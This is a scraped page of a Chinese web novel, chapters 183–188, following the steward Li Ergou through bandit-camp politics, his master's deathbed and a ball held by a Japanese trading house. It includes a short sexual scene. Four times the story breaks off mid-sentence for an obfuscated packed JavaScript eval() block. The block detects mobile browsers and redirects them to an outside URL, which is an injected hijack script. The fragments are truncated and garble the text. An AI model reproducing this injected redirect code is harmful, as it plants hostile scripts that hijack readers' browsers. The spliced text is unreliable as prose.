“咱们攻打清风寨的消息,事先是严格保密的,他们不可能知道,除非……” 梁有为又瞅向牛得水,牛得水脸色铁青,根本不正眼瞧他。 “有话就说。” “除非有人提前泄露了消息。” 牛得水当即反驳道:“消息只有咱们三个人知道,梁团长的意思就是我泄露的呗,你还不如干脆直接报出我身份证号得了。” “牛局长不要激动嘛,我只是在和王县长分析情况,你如果有看法,也可以说出来嘛。” 牛得水说道:“城门治安一直由保安团负责,可土匪却神不知鬼不觉地进了城,这里面有没有里应外合也一定要好好调查调查。” 第183章 胡士高病危 “牛局长,你……” 梁有为被牛得水气得一时语塞,他没想到牛得水如此无耻。 王正直被他们争吵得头晕脑胀。 “好了,不要再吵了,吵解决不了问题,这件事就由牛局长负责,调查清楚后直接向我汇报。” “是,王县长,卑职一定揪出内鬼。” 梁有为冷“哼”一声,越看牛得水越觉得他不顺眼。 说什么揪出内鬼?不就是想把屎盆子全扣在保安团头上吗? “王县长,那清剿清风寨一事,您看……” 县城被破,县政府被烧,上级知道了还不知道怎么处理王正直,他现在哪还有什么心思去清剿一个小小的清风寨。 “这次事情闹得这么大,他们肯定早已得到消息,做好了应对准备,现在再去清剿清风寨,定会损失巨大,我看这件事还是先放一放吧。” “卑职明白。” 王正直挥挥手,示意他们先离开,王正直想一个人静静。 从县政府的废墟中走出来,牛得水和梁有为彼此“呸”了一声,转身离去。 此时的清风寨里,到处是一片欢声笑语。 大家在聚义大厅里大碗喝酒,大块吃肉,庆祝劫后余生。 “狗哥,你这一招围魏救赵的策略真是前无古人,后无来者啊,兄弟我实在是佩服佩服。”宋孬蛋恭维道。 李二狗笑骂道:“孬蛋,你狗日的马嚼子戴在牛嘴上——净胡勒,前无古人的话,围魏救赵这个成语是怎么来的?” 宋孬蛋摸着脑袋,脸不红,心不跳,脸皮也是越来越厚。 “嘿嘿,我这不是表达对你的崇拜之情嘛?不必在意小小的细节。” 李二狗虽然一直提醒自己,千万不能放松对自己的要求,不要被大家的糖衣炮弹所腐蚀。 但他只是一个普通人,面对下属源源不断的的赞美和恭维,有时候也会产生一种飘飘然的感觉。 “你别学着他们一样瞎胡闹,”李二狗正色道,“咱们说点正事,经过这一闹,相信短时间内,政府不会再来清剿清风寨。咱们砸了沈家大院,又大闹江东县城,清风寨一两年内不用再发愁生计了,得好好规划一下未来的路该怎么走。” “是啊,不过狗哥,最近上山来投靠咱们的人多了起来,我想着咱们是不是得制定一个选人用人的标准,我怕什么人都招进来,会破坏山寨安定团结的大好局面。” “你说得对,咱们山寨选人用人一定要把握好两个原则,一是宁缺毋滥,二是人尽其才,千万不能一粒老鼠屎毁了整锅汤。” “可有人上山投靠,咱们也不好都拒之门外啊。” “孬蛋,你记住,咱们山寨目前还处于起步阶段,不能一味追求队伍数量,首先要做的是练好内功,通过不断完善各项规章制度,以制度促管理,打造一支‘素质高、本领强、作风硬’的铁军。” 李二狗说的太专业,宋孬蛋一时也没领会明白。 “狗哥,那有人来投靠咱们,咱们收还是不收?” 李二狗也不怪宋孬蛋不能立刻领会自己的意图,自己说的这些也是刚刚从吴有德送给自己的几本书上学到的。 吴有德最近刻意在提升李二狗各方面的素质,以便为他未来接自己的班未雨绸缪。 “对能力特别突出的可以收,当然即使这个人能力突出,在加入之前也一定要调查清楚他的家庭背景,祖上有犯罪记录的一概不收。” 看着宋孬蛋还是一脸茫然,李二狗干脆说道:“你自己把握吧,只记住一点,严格控制进入人数。” 宋孬蛋心想,李二狗这话的意思就是不招人,自己何必再问。 “好的,狗哥,我明白了。” “孬蛋,让你打听周边市县旱情的事怎么样了?” “派出去的兄弟有几个已经回来了,情况和咱们江东差不多,也是大半年没下雨,看来今年的情况不容乐观啊。” “那就别等了,抓紧买粮。” “三哥那边的粮囤还没建好,我们是不是再等等?” “先买回来一部分再说,不能一下子都买回来,那样会造成粮价的波动,至于老三那边我再催催他。” 李二狗打算让胡家大院也囤积一些粮食,短时间内购入那么多,肯定会造成周边粮价的上涨,必须神不知鬼不觉的分批次完成。 忙完山寨的事,李二狗回到凤凰镇,把李素文接回清风寨,两人又忙活了一阵造人计划。 第二天上午,李二狗才拖着疲惫的身体回到胡家大院。 张二驴见到李二狗,赶紧跑过来。 “李管家,不好了,老爷出事了。” “二驴,老爷怎么了?” “三奶奶派人从省城传回消息,说老爷病危,让家里快点派人过去。” “二驴,你看好胡家大院,我得马上去趟省城。” 紧赶慢赶,李二狗到达省城的时候,天色已经黯淡下来。 他来到医院,看到念秋正在病房里打盹。 胡士高躺在病床上,双目紧闭,气息微弱,几日不见,已瘦得皮包骨头。 “念秋,念秋!” 念秋醒过来,看是李二狗,急忙站起来说道:“李管家,您可来了。” “三奶奶呢?” “她……她有事出去了。” 宋小曼在省城还有事,这倒令李二狗有些惊讶。 “老爷的病怎么样了?医生怎么说?” 念秋眼泪就下来了,说道:“医生说,让咱们把老爷接回家,老爷的病已经治不了了!” “你吃饭了吗?” “还没有。” 李二狗掏出两块大洋塞到念秋手中。 “先出去吃点饭吧,我先在这看着。” 念秋感动得涕泪横流,这段时间,宋小曼天天往外跑,都是自己一个人在照顾胡士高,早已累得身心疲惫。 “李管家,我还不饿,要不您先去吃吧。” “你先去吧,吃完还得回来守着,我晚上有事要出去一趟。” 念秋便攥着两块大洋出了病房。 李二狗看着躺在病床上奄奄一息的胡士高,此刻倒有些同情他。 作威作福了一辈子,到头来妻儿无一人守候在自己跟前,想来真是可怜可悲可叹。 也许是他这辈子作恶太多,上天对他的惩罚吧。 第184章 一缸水活不了大鲤鱼 宋小曼回到病房,看到李二狗时,表情微微有些不自然。 “李管家,你什么时候到的?” “我刚到一会,三奶奶这是去哪里了?” “我……我刚才出去买了点东西,念秋这丫头真是不懂事,也不知道跑到哪里去了?” “是我刚才让她出去吃点东西。” 李二狗看着宋小曼,此时的她和在胡家大院时相比,白里透红,面色红润,脸上竟洋溢着一种青春的朝气。 “李管家,正好我有件事想和你商量一下。” “三奶奶,您请说。” “医生说,老爷这病已经无药可治,让接回家养着,但我觉得,省城医院终归比在家里照顾的更妥帖一些,你看是不是让老爷在医院再多住一些日子?” 李二狗的第一反应是宋小曼不想离开省城。 “您是三奶奶,这事还得您做主。” “那就再住些日子吧,反正胡家大院也不缺这点钱。” “也好,等我回去禀明大奶奶,就是还得辛苦三奶奶再多照顾老爷一些时日。” “不辛苦,这都是我应当应份的。” 正在这时,念秋回来了。 “三奶奶,您回来了。” 宋小曼看了念秋一眼,说道:“念秋,你真是越来越不懂规矩了,怎么自己去吃饭,让李管家在这里照顾?” 李二狗说道:“三奶奶,这个不怪念秋,是我让她去的,照顾老爷本来也是我应该做的。” “还不快谢谢李管家?” “谢谢李管家。” 两人又聊了一会胡士高的病情。 李二狗看时间不早了,便问道:“三奶奶,您住在哪?我送您回去。” 宋小曼急忙说道:“我就住在医院对面的酒店,很近,我自己回去就行。” 李二狗说道:“还是我送您回去吧,正好我要出去办点事。” 宋小曼便说道:“那就谢谢李管家了,念秋,你好好照顾老爷,有什么事到酒店找我。” “知道了,三奶奶。” 李二狗和宋小曼一起走出病房。 宋小曼走在前面,李二狗走在身后。 宋小曼今天上身穿了一件天蓝色针织衫,下身穿了一条黑色裤子,脚上穿着一双平底的黑色皮鞋,很有女大学生的风范。 “三奶奶,听说您上过大学,是在省城吗?” “是的,省城的师范大学。” 李二狗不明白,宋小曼堂堂省城师范大学的学生,为何会嫁给胡士高。 出了医院的大门,对面果然有一家酒店。 “李管家,我到了。” “三奶奶,您早点休息。” 宋小曼点点头,进了酒店。 李二狗微微有些失望,宋小曼如果请他上去喝杯咖啡,不知道他会不会拒绝? 想到这,李二狗笑了,白日做梦! 他招手叫了一辆黄包车,直奔百乐门大舞厅。 静雯见到李二狗,自是喜上眉梢。 她挽着李二狗的胳膊直接上了二楼办公室。 静雯边关门边脱李二狗的衣服。 “狗,人家都想死你了。” 李二狗的大手则已经从后面伸进了静雯的旗袍里,双手上下游走。 “哪里想?” “哪里都想!” “哪里最想?” “上面下面都最想!” “小东西,看哥今天怎么收拾你……” “啊……” 静雯忍不住打了李二狗一下,“这里是办公室,你是不是故意的?” “是啊,我就是故意的,要不咱们回家再说?”李二狗一脸坏笑地说道。 “哼,这都电闪雷鸣的,哪还等得了回家?!” “那就让大雨来得更猛烈些吧……” …… 办完事,李二狗问道:“搬到吴公馆住,还习惯吗?” “还好吧,我这每晚都得凌晨一两点才回去,早上起床时干爹已经出去了,有时候也是好几天见不着面。” “干爹身体还好吗?” “挺好的,只是……”静雯欲言又止。 “只是什么?” “我发现最近干爹和那个明石有信的来往越来越密切,他们好像在合伙做什么生意。” “那个明石有信到底是什么背景?你了解吗?” “我侧面打听过,明石有信背后是日本井伊家族,他是井伊直虎的女婿。” “井伊家族?” “井伊家族在日本是名门豪族,有日本皇室的血统,而且井伊直虎的爷爷在日俄战争中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837233|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 立过大功,在军界是一个传奇人物。” “那如此看来,明石有信并不单单只是一个生意人这么简单,他们之间做的什么生意你知道吗?” “好像是煤矿之类的生意,具体的我也不知道,你还是回去亲自问问干爹吧。” 李二狗也不知道为什么,总感觉日本人和吴有德做生意有什么企图。 “今天咱们几点回去?” “你等我一下,我下去安排一下。” 很快静雯就回来了。 “走吧,我们回家。” “早知道这么早就回家,刚才就不应该急不可耐的,哈哈。” “你真讨厌!” 两人回到吴公馆,吴有德正在书房看书,听到李二狗来了,急忙走了出来。 “二狗,什么时候来的?” “干爹,我这刚到省城就来看您了,这回您挑不着我理了,哈哈!” “嘴上说的好听,那你怎么和静雯一起回来了?莫不是刚才在门口遇到的?” “干爹英明,确实是刚刚在门口碰上的。” “你小子这嘴,鬼才信你!吃没吃饭?我让厨房做几个菜,咱爷俩喝两盅?” 李二狗正好有话要说,便说道:“那就陪干爹喝两盅。” 静雯知道李二狗准备和吴有德谈什么,自己在场反而不便,便说道:“你们喝,我先上去睡个美容觉。” “二狗,你这次来是为了什么?” “我们老爷快不行了,医院让接回家。” “那你什么打算?” 李二狗一时没明白吴有德的意思。 “我是说,你们老爷要是去世了,你接下来有什么打算?还在那个地主大院当管家?二狗,你要知道,一缸水活不了大鲤鱼。” “干爹,再给我一些时间,等我处理完那边的事就来省城帮您。” “你小子,肯定有什么事瞒着我,好,你不想说,我也不问,干爹就一句话,干爹等你来。” “干爹放心,等我忙完那边的事第一时间就来孝顺您。” 吴有德内心很欣赏李二狗的为人,自己这么大的家业,要是换做别人,早就上赶子来鞍前马后了。 李二狗面对这么大的诱惑却能无动于衷,这是怎样的人品? 第185章 日本贵族 “二狗啊,干爹老了,也喜欢那种子孙绕膝的感觉,你能懂干爹的意思吧?” 李二狗不想让气氛太过压抑,便说道:“干爹放心,我和静雯正在努力,争取明年让您抱上孙子。” “你这小子,就一张嘴甜。” “嘿嘿,干爹,如果静雯给我生个儿子,我打算让他随您姓吴,您看怎么样?” 吴有德感动得老泪纵横。 “二狗啊,咱们别喝酒了,你快上去陪静雯吧。” “干爹,看您心急的,只要种子好,还愁种不出好庄稼?” “哈哈哈,好,不愧是我吴有德的干儿子,来,喝!” 酒过三巡之后,吴有德已经有了一些醉意。 “干爹,我听说您和井伊商社在做煤矿的生意?” “你听静雯说的?” “是啊,我总感觉和日本人做生意……” “二狗啊,你对日本人有误解,日本人又不是豺狼虎豹,和他们做正当生意是没有问题的。” “干爹,我听说井伊商社是日本井伊家族开办的,而井伊家族在日本是贵族,势力很大?” “势力那是相当大!二狗,你有所不知,日本是一个等级制度非常分明的国家。在明治维新之前,普通的老百姓连姓氏都没有。别看日侨在中国这么横行霸道,他们在日本碰到贵族连头都不敢抬。” “那您和势力这么庞大的家族做生意,会不会有什么风险?” “二狗,井伊家族是日本贵族,什么是贵族?首先得讲信用,那才称得上是贵族,不是那些阿狗阿猫能比的。他们勘探和开采煤矿的技术在世界上都是一流的,和他们合作咱们稳赚不赔!” “具体怎么合作?” “很简单,他们负责出技术和人才,咱们除了负责出钱之外,还负责打通政府上下的关节。” “范围呢?只在咱们省?” “只在咱们一个省哪够啊,华北几个省都得勘探。” “那现在只是勘探吗?开采了吗?” “目前还处于勘探阶段,等勘探完了再开采,到时候咱们等着数钱就行了。” 李二狗隐隐有种担忧,日本人只勘探不开采,他们这哪是勘探,完全是把华北几省的地形地貌全部摸了个遍。 如果有一天,他们要侵略中国,那中国在他们面前将毫无秘密可言。 但这只是李二狗的猜测,他知道只靠猜测肯定无法说服吴有德。 “干爹,如果有机会,希望您带我见见井伊商社的人,我也好长长见识。” 吴有德闻言,以为自己的话改变了李二狗对日本人的看法,高兴地说道:“这个简单,明天晚上明石有信在井伊商社举行一个舞会,邀请了我,到时候咱们一起去。” “好,来,干爹,我再敬您一杯。” 两人又干了一杯,吴有德催促道:“好了,今天晚上就到这吧,你快去陪静雯吧。” “嘿嘿,还是干爹疼我,那我先上去了,干爹您也早点休息。” 第二天上午,李二狗再次来到医院,病房里只有念秋一人。 “李管家,您来了。” “三奶奶呢?还没起床吗?” “不是,三奶奶一大早来了一趟医院,然后就出去了。” 李二狗心想,这个宋小曼,不会是在省城有相好吧?难道是遇到了旧情人? “她说去哪里了吗?” 念秋有些尴尬地说道:“没有,三奶奶没说。” “念秋,老爷现在这个样子,你也不用时时守在这里,到点就去吃饭,这边有医生和护士。” 念秋说道:“谢谢李管家,我知道了。” 李二狗掏出五块大洋放到念秋手里,念秋却推却着不敢要。 “拿着吧,平时别舍不得吃,吃点好的。” 念秋感动的泪眼汪汪,以前她和李二狗并没有多少交集,还曾经打过他一个耳光,不知道现在他为什么对自己这么好? 难道是喜欢上自己了? 想到这,念秋赶紧捋了捋额前有些凌乱的刘海。 “李管家,我都听您的。” 李二狗对念秋报之以微笑,当念秋以为李二狗还会有进一步行为时,没想到李二狗却说道:“我还有事,先走了。” 念秋看着李二狗的背影发呆,他真是一个有魅力的男人,以前怎么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837234|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 没发现呢? “静雯,一定要这样吗?” “一定要这样!” “没得商量?” “没得商量!” 李二狗看着镜中的自己,感觉实在是别扭。 一身白色西装外加一条红色领带,脖子上像被拴了根绳,他以前从没这样穿过。 李二狗把领带从衣服里掏出来,说道:“真**别扭,这东西拎出来,可以当拴狗绳了。” 静雯笑着打了他一下,说道:“你第一次跟着干爹出去应酬,一定要穿得正式一些,别给干爹丢脸。” “好吧,好吧,都听你的还不行?” “真不用我陪你去?” “不用,百乐门那边也离不开你。” 李二狗不想让静雯和日本人有什么接触,他对日本人的印象一直停留在日本浪人的形象上。 太**猥琐! 那些日本人瞅一眼静雯,他都浑身不舒服。 “好吧,我在家等你回来。” 李二狗跟着吴有德来到井伊商社在省城开的分社。 这是一栋中西结合的三层小楼,一楼大厅正在举行舞会,人头攒动,挤满了寻欢作乐的各色人等,很多身穿和服的日本女人穿梭其中。 “吴先生,您来了,里面请。” 明石有信穿着一身素色日本和服,双手垂立,恭敬地鞠躬行礼。 “明石先生,我来给你介绍一下,这位是我的义子李二狗。” “李先生,幸会幸会。” 明石有信显得既有礼貌又十分热情。 面对明石有信伸过来的手,李二狗轻轻碰触了一下,不冷不淡地说道:“明石先生,幸会。” “里面请。” 三人来到一个小包厢,中间放着一张卓袱台,上面摆满了茶具,一个日本女人双手放置身前,上身笔直地跪在地上。 她身穿一身精致的大红色和服,衣领开得很大并后倾,刻意露出修长的脖颈,肤色雪白如瓷。 鲜花般娇美的面容,眉毛细长,如同弯月,眼角处涂抹着古色的胭脂红,给人一种妩媚感。 烈焰般的红唇,优雅的举止,一颦一笑一回眸间尽显柔情。 第186章 酒井空 李二狗学着吴有德的样子在门口脱掉皮鞋,走进房间,双腿交叉,坐在卓袱台前。 李二狗是汗脚,脱掉皮鞋,一股轻微的脚臭味慢慢弥散开来。 好在晚上出门的时候,静雯给李二狗换了新鞋袜,不然整间屋子都得被他的脚熏得睁不开眼。 明石有信依然保持着明媚的笑容,他一个眼神,日本女人便开始沏茶。 她动作轻柔、举止优雅,处处流露出一种古典式的教养。 李二狗从未见过举止如此优雅的女人,忍不住多看了她几眼。 明石有信敏锐地注意到李二狗的眼神,嘴角露出一丝不易察觉的笑容。 李二狗自知在日本人面前失态,实在是有损国体人格,他心中暗骂自己下流,看着漂亮女人就挪不开眼。 “明石先生,听说最近勘探队又在热河省勘探出两个煤矿,祝贺你,来,我以茶代酒,敬你一杯。” 明石有信笑道:“吴先生,应该是祝贺我们。” “哈哈,对,对,祝贺我们,请。” “您请!” 李二狗学着他们的样子,端起面前的茶杯,茶杯小的像酒盅,茶液上漂浮着一层细腻的泡沫。 他把茶杯捏在手里,放在鼻尖下闻了闻,有一股浓郁的茉莉花香,轻轻抿了一口,初尝时有微微的苦涩,随后转为甘甜。 “明石先生,如果我记得没错的话,从去年开始,勘探队已经勘探出七处煤矿,只是不知道什么时候开采这些煤矿?你也知道,不开采就没有利润……” “吴先生,不要着急嘛,开采煤矿,需要向你们中国政府**手续,这些都需要时间。” “政府那边的手续我可以帮着协调,这些明石先生都不要担心。” “我当然相信吴先生有这个实力,只不过开采煤矿涉及到方方面面,我们不能着急,必须从长计议。” 李二狗心想,勘探出煤矿却又不开采,难道日本人是来中国做慈善的吗? 事出反常必有妖,日本人肯定没憋什么好屁! “明石先生,你也知道,勘探煤矿投入巨大,我这有点吃不消啊。” “哈哈,吴先生,我知道你的实力,你就不要谦虚了,我们井伊商社也同样投入了大量的资金,你放心,和我们大日本帝国合作,是绝对不会亏待你的。” 李二狗心想,明明只是一些生意上的往来,明石有信却有意无意地搬出什么大日本帝国,看来此人背景绝不简单。 “二狗,你先出去跳跳舞吧,外面有不少日式小点心,味道很不错,你也可以尝一尝。” 吴有德把李二**开,肯定是有什么话想单独和明石有信谈,李二狗起身说道:“明石先生,待会再见!” 明石有信特意站起身,向李二狗鞠了一躬,说道:“李先生,您请自便!” 李二狗穿上皮鞋走了出去,这才一盏茶的功夫,腿都跪麻了,日本人真**能折腾。 一楼大厅放着李二狗从未听过的靡靡之音,舞池中男男女女搂在一起跳着千篇一律的舞蹈。 李二狗坐在一个沙发上,拿起旁边一个绿色小点心放到口中,竟有一种茶叶沫子的味道。 看着搂抱在一起的男男女女,李二狗突然发现一个有趣的现象。 舞池中的男人,衣着相貌上并没有什么区别,但他却能分出哪些是中国男人,哪些是日本男人。 搂着穿和服女人的是中国男人,搂着穿旗袍女人的是日本男人,看来普天下的男人都一个熊样,不论什么国籍,都喜欢换个口味。 李二狗正对自己的新发现沾沾自喜时,一个身穿旗袍的女人扭动着纤细的腰肢走了过来。 “先生,能请您跳个舞吗?” 李二狗看到一张精致而绝美的脸庞。 弯长的柳眉、圆圆的大眼、高挺的俏鼻、小小的嘴,每一处都蕴含着独特的韵味。 她脸泛红霞,微带酒晕,容光更增丽色。 但她的中文发音却分明是一个日本女人。 “小姐是日本人?” “是的,先生,请多关照!” 李二狗被“啪啪”打脸。 “可以邀请您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837235|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 跳一支舞吗?先生!” “当然,我的荣幸。” 李二狗起身,伸出一只手,女子很自然地搭在李二狗时手背上,两人翩翩进入舞池。 “小姐怎么称呼?” “我叫酒井空,先生呢?” “我叫李二狗。” 女子听到这个名字,嘴角泛起一丝笑容。 李二狗早已习惯女人初听自己名字时的反应,但名字是父母给的,没什么可丢人的。 “很高兴认识你,酒井小姐。” “我也是,二狗先生。” 李二狗还是第一次从一个女人口中听到“二狗先生”这个称谓。 他很喜欢! “酒井小姐来中国几年了?你的中国话说的很地道。” “我来中国快一年了,我感觉我的中国话说得不好,以后还请二狗先生多多指教。” “指教不敢当,如果有机会,倒是可以深入地交流交流,呵呵。” “深入地交流?”酒井空很明显没有听懂李二狗的意思,“怎么深入?嘻嘻,中国文字总是那么的博大精深。” “深入地交流就是零距离交流的意思,就像咱们现在这样,手握手,脸对脸,身体和身体贴在一起。” 李二狗故意挺了挺身体,酒井空明显感觉到了什么,她不仅没有躲避,反而紧紧地贴了上去。 “二狗先生,以后有机会,你愿意和我深入地交流交流吗?” “当然,现在就愿意。” “那我们到楼上我的房间深入地交流交流好吗?” “乐意效劳。” 酒井空带着李二狗离开舞池时,李二狗突然看到一个熟悉的身影。 宋小曼! 竟然是宋小曼! 宋小曼也同时看到了李二狗,两人对视一眼,她赶紧低下头。 宋小曼怎么会出现在日本人举办的舞会上? 难道她是…… 想到这,李二狗一脸的失望,她是那么的清纯、那么的干净,难道这一切都是假象? 李二狗一直埋藏在心里的白月光,那么亮却又那么冰凉。 第187章 她没把你魂儿勾走吧 “二狗先生,我们还是快上楼吧。”酒井空催促道。 李二狗已经完全没有了刚才的性致,尽管这个日本女人看起来是如此的精致。 “酒井小姐,我头突然有些不舒服,咱们先去那边沙发坐会,喝点东西吧。” 酒井空脸上明显露出失望的神色,但她必须保持日本女人惯有的优雅。 “好吧,我陪先生喝一杯。” 此时的李二狗,心思已经完全在宋小曼身上,他的眼睛总是时不时地看向舞池中宋小曼。 她到底是以什么身份出现在这里? 她到这里的目的到底是什么? 李二狗越想不明白,越想弄明白! “二狗先生,你和吴有德是什么关系?” 李二狗闻言,立刻意识到,这个女人显然是有备而来,一定是明石有信专门派来的。 她接近自己的目的无非就是因为自己是吴有德的干儿子,以后可能继承吴氏产业。 还好自己刚才保持住了定力,没有跟她上楼。 “吴有德是**爹,酒井小姐认识**爹?” 酒井空捂着嘴笑道:“吴有德吴爷的大名,在省城谁人不知,谁人不晓,他是我们井伊商社的合作伙伴。” “原来如此,以后还请酒井小姐多多关照。” 酒井空莞尔一笑,说道:“关照不敢当,深入交流交流还是可以的。” 她娇滴滴地握住李二狗的手,手指在他手背划来划去。 痒痒的,麻麻的,李二狗没想到日本女人竟如此主动。 “酒井小姐,请稍等,我先去趟洗手间。” “那你快点,我在这里等你。” 李二狗起身去了洗手间,因为她看到宋小曼刚刚进了洗手间。 很显然,宋小曼在等李二狗。 “你怎么在这里?”两人几乎同时问道。 “你先回答我!” 宋小曼瞪着李二狗,仿佛他出现在这里影响了她的大事一般。 “我和日本人谈点生意。” 宋小曼阴阳道:“谈生意?呵呵,你一个乡下土财主的管家还和日本人谈生意?我以前还真是小瞧你了。” “日本人也得吃喝拉撒,和他们谈点生意怎么了?倒是你,到这里来干什么?” 李二狗上下打量着宋小曼,在医院的时候穿得像一个女学生,而此时却穿得像个**,那旗袍都开叉到大腿根了。 宋小曼看李二狗看自己的眼神,就知道他心里一定有了龌龊的想法。 “我没有你想的那样无耻!” 李二狗内心稍安,接着问道:“那你到这里是为了什么?” “我的事,不用你管!你最好记住,咱们今天没有见过面,你要敢说出去,我……我阉了你!” 正在这时,酒井空突然出现在宋小曼身后,李二狗急中生智,一把推开宋小曼。 “都和你说了,我没兴趣,别来缠着我!” 宋小曼刚要发作,李二狗已经看向她身后。 “酒井小姐,你也来上洗手间?” 酒井空看了一眼宋小曼,说道:“看二狗先生这么久没出来,我来看看你是不是掉进茅坑里了,嘻嘻,这位小姐是?” 李二狗把手搭在酒井空肩膀上,说道:“一个毫无礼义廉耻的女人,我们走,别理她!” 宋小曼气得胸脯子一抖一抖的,暗骂道:“李二狗,你真无耻!” “二狗先生,我看那位小姐看你的眼神有点不一样。” “不一样?哈哈,哪里不一样?她只不过是贪图我钱包里的钱财罢了。” “我看不像,她的眼神里面有哀怨,还有不甘!” “哀怨?不甘?哈哈,我看酒井小姐是言情小说看多了,产生了幻觉,我怎么就没发现呢?” “二狗先生,你不要怀疑我们女人的直觉。” “直觉?我只相信实实在在的感觉,就像现在我握着你的手,便有一种怦然心动的感觉。” “嘻嘻,二狗先生倒是挺会哄女人开心,不过我喜欢。” 李二狗总觉得酒井空这个女人不简单,天下没有免费的午餐,她这么明目张胆地勾引自己,一定有着不可告人的目的。 李二狗发现宋小曼一直在盯着自己,按照常人的思维,宋小曼在这种场合碰到熟人,理应立刻离开才对。 她不走,说明还有更重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840800|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 要的事情要做。 “二狗先生,我们去楼上吧,这里太吵了。” “酒井小姐,我这头晕得厉害,一会就回去了,这次就先不上去了,咱们改日再交流吧。” “现在就要走吗?这里一会还有宴会,夜生活才刚刚开始。” “我也舍不得,可……,这次扫了酒井小姐的雅兴,真是对不起,改日我请你吃日本料理好吗?” “那一言为定,我等你哦。” 门开了,吴有德和明石有信一起走了出来。 “吴先生,还是喝两杯再走吧?” “不了,我还有事,下次我请明石先生。”吴有德看向李二狗,问道:“二狗,你跟我一起走,还是再待会?” “我和干爹一起走。” “李先生,一会还有酒会,可以让酒井小姐陪你喝两杯再走。” “谢谢明石先生的好意,我今天身体有点不适,怕扫了酒井小姐的兴,还是下次吧。” “那我就不勉强两位了,慢走!” “明石先生留步!” 李二狗看向宋小曼,不知道什么时候她已经消失不见了。 “二狗,二狗,我们走了。” 李二狗不得不跟上吴有德的脚步,离开了井伊商社。 “干爹,这个酒井空是什么人?” 吴有德笑道:“二狗,她没把你魂儿勾走吧?” 李二狗尴尬一笑,说道:“干爹,怎么会呢?我可是很有定力的男人。” “哈哈,这种事在生意场上难免,对于男人来说,并不是什么大事,不过这个酒井空,你最好离她远一点,她**可是不吐骨头的!” “干爹,你唬我吧,哈哈,一个日本女人而已,除了长得妖媚一些,也并没有什么不一样。” “你可千万不要小瞧了这个女人,她是明石有信身边最得力的助手,绝非你表面看到的那么简单。” 李二狗有些想不明白,明石有信让酒井空勾引自己,到底是什么目的? 即使自己是吴有德的干儿子,可现在吴有德刚满六十岁,并没有隐退之意,李二狗根本没有任何话语权。 那她为什么勾引自己呢? 第188章 宋小曼彻夜未归 李二狗心里一直想着宋小曼的事情。 “干爹,您先回家,我得去一趟医院看看。” “好,待会儿我把你放在医院门口。” 李二狗来到医院,念秋正在病房打瞌睡。 听到动静,念秋醒了过来。 “李管家,这么晚了,您怎么来了?” “我来看看老爷,”李二狗看了一眼病床,胡士高嘴里哼哼唧唧,“三奶奶没来吗?” “三奶奶今天早上来了一趟就没再过来。” “我找三奶奶有点事,你知道她住在哪个房间吗?” “对面酒店333房间,”念秋瞅了一眼墙上的挂钟,“这个点三奶奶应该睡了。” “念秋,待会我让医院在房间里加一张床,这样晚上你可以睡一会。” 念秋感动得泪眼婆娑,自从她被卖到胡家大院之后,从来没有人这样关心过她,包括宋小曼。 “李管家,您对我这么好,我都不知道该说什么了,谢谢您。” “念秋,以前是我对你关心不够,你别怪我,以后我改正。” 念秋说道:“李管家,我只是一个小丫鬟,您能关心我,是我的福气,我怎么敢怪你呢?!” “念秋,在外边就叫狗哥,有事找狗哥,狗哥都给你办。” “谢谢狗……哥,您快去找三奶奶吧,您放心,我和谁都不说。” 李二狗没想到念秋还是一个很机灵的姑娘,至少比迎春机灵。 “你好好休息,明天我再过来,给你带好吃的。” “谢谢狗哥。” 念秋开心得像个孩子,其实她本来也是孩子。 李二狗来到医院办公室,找到张明白,张明白自然知道他和吴有德的关系。 “李先生,这么晚了还没睡啊?找我什么事?” “张医生,麻烦你安排人在病房加张床,陪床的人没地方睡觉,确实有些辛苦。” “这点小事,我马上就安排。” “谢谢张医生,吴爷经常和我提起你,说你不仅医术高超,还医者仁心,吴爷很看好你。” 张明白开心极了。 “吴爷错爱了,我一定秉持从医初心,不辜负吴爷对我的厚爱和期望。” 